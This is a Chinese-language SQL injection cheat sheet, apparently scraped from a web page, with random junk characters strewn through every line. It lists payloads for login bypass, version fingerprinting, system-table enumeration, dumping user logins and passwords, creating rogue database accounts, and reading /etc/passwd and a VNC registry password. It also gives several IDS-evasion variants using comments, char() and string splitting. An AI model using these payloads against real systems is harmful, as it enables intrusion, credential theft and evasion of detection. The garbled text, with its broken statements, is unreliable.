5 n, S' s' Z2 T% i. ^' j- Login:’ or 1=1– * O7 J4 v) k. E" T2 Q7 I2 Z8 k8 \+ E1 E: A9 w" e
- Pass:’ or 1=1– : G. L) Q$ M2 e8 C$ e- t7 ` . A# X7 x" z7 C- http://website/index.asp?id=’ or 1=1– 1 z" h. q8 _* X9 d; R2 r 5 ?8 A; X# ^6 u& W: q. b& U' A1 ?还有下面这样的方式: : A) O* Y9 \ S; `4 s% H, [0 \0 l1 `
- ‘ having 1=1–2 n7 e( a/ C" S7 x
/ ?- N1 l& D) J$ N8 d* f- ‘ group by userid having 1=1– 3 F9 K. {. M4 f5 v) X # K4 {3 [( P4 r4 G6 u( [- ‘ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘tablename’)–* K' I4 F6 n9 h! v3 @
( s( l: d1 w2 s( D- ‘ union select sum(columnname) from tablename–4 P6 A# g# @ i: l' Y, W! n4 g
+ N2 g% k3 g) x
+ Q; ~: E/ m) V9 n x
6 S# A ?% d6 R3、收集信息: u1 ^* I! C* l0 W+ h
2 R: s7 Y. ?( R; k- ‘ or 1 in (select @@version)– 0 p9 ?1 k1 R3 h+ H - [! z+ u. j# l2 A3 n/ n- ‘ union all select @@version–$ @& ?. u. n! D8 C
* z/ z# E/ u5 E0 ?5 |上面就可以得到系统的版本和补丁信息。) A# L6 l. C5 [# U
7 ?% _( N2 m; q* K5 j. Z& J
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4、数据类型) K Z8 [: z5 t
. o' g6 ~! Y( C; B& Q- rOracle数据库>>2 w* G" D# n; K7 ]& {0 l
8 H, M9 W% G% z4 g1 w$ Q0 F–>SYS.USER_OBJECTS (USEROBJECTS) ' K) m. s( K- h& }# b! K I5 D4 N P( ?- \3 a) V! R
–>SYS.USER_VIEWS - h" x4 U/ `4 E& R # [6 O0 _& j+ d) B+ y0 a–>SYS.USER_TABLES# \, |# d5 y. n: G5 i4 G, }
, s: V/ i% O! }5 {( O–>SYS.USER_VIEWS 8 I) K. p- _2 t% I* Q( C + v8 l, I( X9 @! m9 f- F–>SYS.USER_TAB_COLUMNS " q+ B" {* T Z. T/ Z; | ) [% n( \/ N6 m$ v! ]# B–>SYS.USER_CATALOG / U' a" T @. F$ H# \6 m7 i 7 G# ~2 j) F1 ~–>SYS.USER_TRIGGERS , d% [1 J4 a( \+ h/ B; y I" i4 @4 p( X6 \: ^" [
–>SYS.ALL_TABLES+ x' K0 O% u& j4 T" S" A
3 Q1 }2 C! \* z5 G& P! ^–>SYS.TAB 9 a+ C# S( B( c; k1 m+ h5 q; R " F# R s4 a, F& |2 w/ F. a# \MySQL数据库 ; c, `% P8 O8 z. n4 T# l6 [2 l, A. [2 _# B; z/ t1 O
–>mysql.user% o9 T9 I, e' u, S i8 E7 ]* J
% u- d3 ?' p2 H$ G7 `3 y( p& J, P7 g–>mysql.host1 [( z# `9 H1 z: K( d* {5 `
2 Y- J F! F% e. _
–>mysql.db # \! s# L& E- G6 s2 g! N; L5 O9 R3 l& h
& x0 b( s) `- i( T7 D, l
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MS access数据2 [# R+ l( @- d3 s
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–>MsysACEs 8 B# m. f5 p' t y' l2 v2 S5 A, u3 D0 r. a5 g" p2 f' A. r
–>MsysObjects, t+ i5 F& v+ u" e. \3 y( _% S) K- v0 h5 W
9 ~) X2 f4 u+ S7 M) ?4 F8 e- |–>MsysQueries6 c# L6 [7 Z: p ?
6 B \2 R! g) u7 l) _–>MsysRelationships : R5 q: Z9 N# j6 E. A1 N9 W: r( o 8 ~& a) H+ m _' R. h$ o+ D @0 k" y) A( K
4 l3 U: W |( n4 K7 l. Q. o% oMS SQL Server数据库 - r2 P) C; f4 b0 W9 c. c* O , H% u/ U3 v: e$ a' i, `–>sysobjects ; O) ]2 l, p; [% B5 f$ y; C9 ~+ O( z- F
–>syscolumns7 F1 q3 O7 y6 s0 C/ \
9 ?' i( t3 I% B- [0 }/ p& X–>systypes 2 z" {% ]0 `9 b4 Z5 A! m" ~/ u4 M) x; V, P1 Q* o
–>sysdatabases* m% T3 ]1 W) }; b8 W6 M
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5、抓取密码 2 C! s7 N0 ~- |1 @, p8 x4 S+ H$ }9 D. [2 ?; n
用类似下面的语句。。。! @9 ?- b. A- d
; s/ i4 ^% c! D8 D9 M7 r//保存查询的结果/ P1 r% s! A0 O* z
: M+ D* H0 c7 ]7 f$ J* |
step1 : ‘; begin declare @var varchar(8000) set @var=’:’ select @var=@var+’+login+’/'+password+’ ‘ from users where login > @var select @var as var into temp end –7 Q9 {+ _. L% W4 ^1 }# Y& N0 x
% T) W5 H9 c" d# z+ P) j7 k//取得信息 : ?8 `9 O" }' M4 ~: N8 H a" q6 W+ x- o, E- ?$ o+ }/ S
step2 : ‘ and 1 in (select var from temp)– " o j" V; ?9 A- r7 q& } 7 B }1 n1 l6 Z8 z1 J% {* P+ \; R//删除临时表 2 {( E0 d4 H, J1 B8 J 8 S- K6 \0 ]. ~# z9 t* Estep3 : ‘ ; drop table temp –: J) m- H& x) m6 e- H
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- ~1 R" p& [% P, r( q2 V, B6、创建数据库帐号 1 `5 I# T3 x/ o* U: A& |0 H6 a5 S( n% \% O! X
MS SQL' I: P' L# R. c* `) n$ {& C8 m
7 r5 u% j* _% ~MySQL 0 e; K/ l# |6 ~( W& l/ i- w8 P1 I1 {6 r' `4 J4 j* s7 c1 C
INSERT INTO mysql.user (user, host, password) VALUES (’name’, ‘localhost’, PASSWORD(’pass123′)) & Z4 [# R2 m; _ s) [4 @ # g$ a% ?$ p" f$ F4 @& Q- b% x7 o9 D c9 j# @
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Access; W( X9 O" T0 k- j1 r
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CRATE USER name IDENTIFIED BY ‘pass123′ 9 H9 p" O2 n% C+ V8 R* X8 l ! ^7 O$ f2 I, z6 d+ x- K 6 N9 E* X, y& o: E# L9 s l! v! C
Postgres (requires Unix account) 0 s7 h; J) K: @ % Q ^' T8 T1 ~* A# b# c1 ^5 zCRATE USER name WITH PASSWORD ‘pass123′ 6 {% A6 ^5 S3 \; Q9 n 7 V3 W7 Z0 z0 I/ p8 M- Q5 A* ^ 1 C, G0 ^ d9 V5 g" k V& R4 \ m* z. c/ {, D% SOracle : E* n* @% Y; H$ Q 3 u* V) e$ l! c$ h( W0 lCRATE USER name IDENTIFIED BY pass123; p0 A4 i) A, V+ D( x) x- M" \
& ^+ ], @. g5 U7 l
TEMPORARY TABLESPACE temp / _! \$ {& ?7 X$ S7 w6 O. n7 n$ g
DEFAULT TABLESPACE users;7 s" d& R1 F% \# d, [+ X
* b4 R1 m% W: M' mGRANT CONNECT TO name; $ w& s$ \+ @& e# {- E2 d. |5 u: L5 I0 J* P- h% m3 x' r
GRANT RESOURCE TO name; ' O; o& A3 ]1 w" Y$ U# \: g6 X4 p; u% p( [/ Q* [" s2 S
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7、MYSQL交互查询 " P/ G4 \/ a5 b( ^3 n# F$ l1 n# N+ r) N# u$ X
使用Union查询,暴出文件代码,如下:: p+ D, `+ C4 n' _4 p
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- ‘ union select 1,load_file(’/etc/passwd’),1,1,1; ( b0 p- Z- F7 R' I" o, E; O/ |7 s' ~+ c; e
4 g# Q% J Y' ?8 N" v- C
) c: ?& U. S& L. u; |- ?
8、系统服务名和配置4 H A9 U/ x- F% [# A, w
. {3 d7 L8 O5 y. i( }- ‘ and 1 in (select @@servername)–( S% ^8 M2 R$ h" \
$ h2 ^ ^. V# W( Z
- ‘ and 1 in (select servername from master.sysservers)–5 s$ I9 `1 \1 o9 l. U I, o2 f1 v7 b
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9、找到VNC密码(注册表)& E2 c4 U. k& _$ m( h
+ }9 H0 F+ d; A A- Y3 h实验语句如下: 8 _% K u3 ~( k8 W : s5 g2 T$ G) I# e2 w1 }- ‘; declare @out binary(8) 9 W1 ~/ P8 ~0 M; h% ?) p5 a% X9 q+ t T; _" }( A
- exec master..xp_regread( o: i5 ?$ Z# F0 r& R
- }8 U9 w4 Y& w) D0 Y
- @rootkey = ‘HKEY_LOCAL_MACHINE’," M" m; Q: `1 L+ u' H5 \4 P
- q' i8 ~5 e' Q" j- I9 G) N5 O9 {% k
- @key = ‘SOFTWARE\ORL\WinVNC3\Default’,8 q1 a, H7 d$ G& Q) P6 f
4 F6 [1 z! y2 }
- @value_name=’password’,) Q; j3 ?. z$ N/ p
- N f+ ^' A, e- @value = @out output ( J( |( Q0 {% {" {' q1 T% b - W) M. C( {2 _' \* U+ l/ l- select cast (@out as bigint) as x into TEMP– 2 e F' y/ F- d; ]- j2 Y% F3 v4 v 2 A8 O' ]. M h& ^% Q" w- ‘ and 1 in (select cast(x as varchar) from temp)–8 {0 F" E6 Q0 }2 y* r, |. |) T
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& K3 t$ c7 }& f: a, L10、避开IDS检测 , `" u1 r, X7 Q" r$ x" L$ c. O8 x0 Q# {- b( \8 @
Evading ‘ OR 1=1 Signature9 S6 O: `; p2 p8 z
- ?9 F* F9 G4 |4 f2 C : H) R4 I* ?, x3 r) ]$ s; @* _' b $ A1 C: m& `2 ]% ?* C1 a- ‘ OR ‘unusual’ = ‘unusual’ * ~& r+ z3 K8 K8 W4 S8 O1 A % u9 m. Z0 T6 o$ t; K# `- ‘ OR ’something’ = ’some’+'thing’ $ v& G+ n* b( z6 K4 u " o$ o7 z# |; o' ^5 |- ‘ OR ‘text’ = N’text’ $ Q" z+ L/ t% r* p; K6 L- i. `8 a( v* `- ]& \
- ‘ OR ’something’ like ’some%’. ~' d* `. a) h: ]1 x2 t" U8 w* z# o
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- ‘ OR 2 > 1 + ?8 _, m* e. W5 `! q+ i$ f+ v$ E( O7 j+ L8 H, z) ^, w4 h+ Z
- ‘ OR ‘text’ > ‘t’ - L! s. V7 h! U: e) d' _' V$ d ) I9 h5 E v0 P W- ‘ OR ‘whatever’ in (’whatever’)! M' u# J( S4 \. @& r
) {, g# K, x2 y. k3 q" }) a8 u$ j- ‘ OR 2 BETWEEN 1 and 36 h& G- _( x3 Z. E) ~) O
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3 _3 n. k+ j, G3 E3 b 8 j$ X, N9 h* j, c* [- ]( y1 F! ?11、MYSQL中使用char()函数 1 V+ M$ S: F; E* A7 Y- A( }. J- K $ Q( ~8 K$ ?% R5 B, T4 Q不带引号的注射,例如: (string = “%”):0 @$ F4 K6 N+ |1 J, J
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–> ‘ or username like char(37);; V1 I% V. O+ t( ?5 _/ B
- A+ L3 t/ r- s4 C K带引号的注射,例如: (string=”root”): # M4 b8 u. t4 Z' d, r% A. j " Q) z4 Q- r, g, X+ d5 h' g–> ‘ union select * from users where login = char(114,111,111,116); 9 J1 B8 y% ]2 {- J; n( l' R P5 d h+ i K# Q6 G m
在 unions中使用load files 函数,例如:(string = “/etc/passwd”):6 n$ I2 w' d/ A- C# z! _1 K
+ }( R% } o4 l# W0 ]- L
–>’ union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;3 m5 @, x5 i5 ^) j8 Q
8 A, h/ G) C: \3 j# g4 J7 [2 y J检查文件是否存在,例如: (string = “n.ext”): ' a9 d& p' J9 W! w2 F 5 J; k) N( u: m; t& m. G1 v( t& T–>’ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); : O2 R) l5 n9 k# P& b9 F7 { " C2 b, c9 U7 o% _; _+ e; B9 Z5 i( l* S
6 V! u% g4 a+ z3 Z. \
12、利用注释符号避开IDS; O2 s3 b: |" T+ V7 H
* b% Q- }5 ~2 x# t5 @1 e$ p举例如下: , u, I4 R; M+ m+ H: k g7 P) A 1 e$ l% E3 E5 N1 }–>’/**/OR/**/1/**/=/**/1 6 C% r% {1 m' I3 S& R8 z4 U3 s % ~/ H$ a; k* [6 q& f! Y0 N. ]0 H–>Username:’ or 1/*# Z. e: T% w$ z# }0 z' ], i8 s
- e' b" I/ Y! O0 v–>Password:*/=1–+ B4 C8 J5 [% `" m D0 P- c# Y* n4 m
3 q# ~9 u7 F% n$ }/ ?6 d e: s
–>UNI/**/ON SEL/**/ECT (!!!这个比较罕见,应该大有作为!!!)) Z0 A q. D! e$ G
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–>(Oracle) ‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’ 6 I* M$ Z/ w; `% i- d$ R) f1 x" c, Y1 j+ ~
–>(MS SQL) ‘; EXEC (’SEL’ + ‘ECT US’ + ‘ER’) 1 H5 D) K/ Q6 m' p: e1 V Y6 c- O7 g+ B8 z
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* I& P4 {7 _" n4 B V. v1 x$ Z13、不带引号的字符串 ! b$ w+ y- |4 U! g& l9 v7 w 8 f- ^# F, |6 ^用char()或者0X来构造不含引号的语句。。 , h# E" u$ W. c7 s$ F* D. _3 r @ z. F0 W5 n& `2 L
–> INSERT INTO Users(Login, Password, Level) VALUES( char(0×70) + char(0×65) + char(0×74) + char(0×65) + char(0×72) + char(0×70) + char(0×65) + char(0×74) + char(0×65) + char(0×72), 0×64) ' n( G! D/ s5 v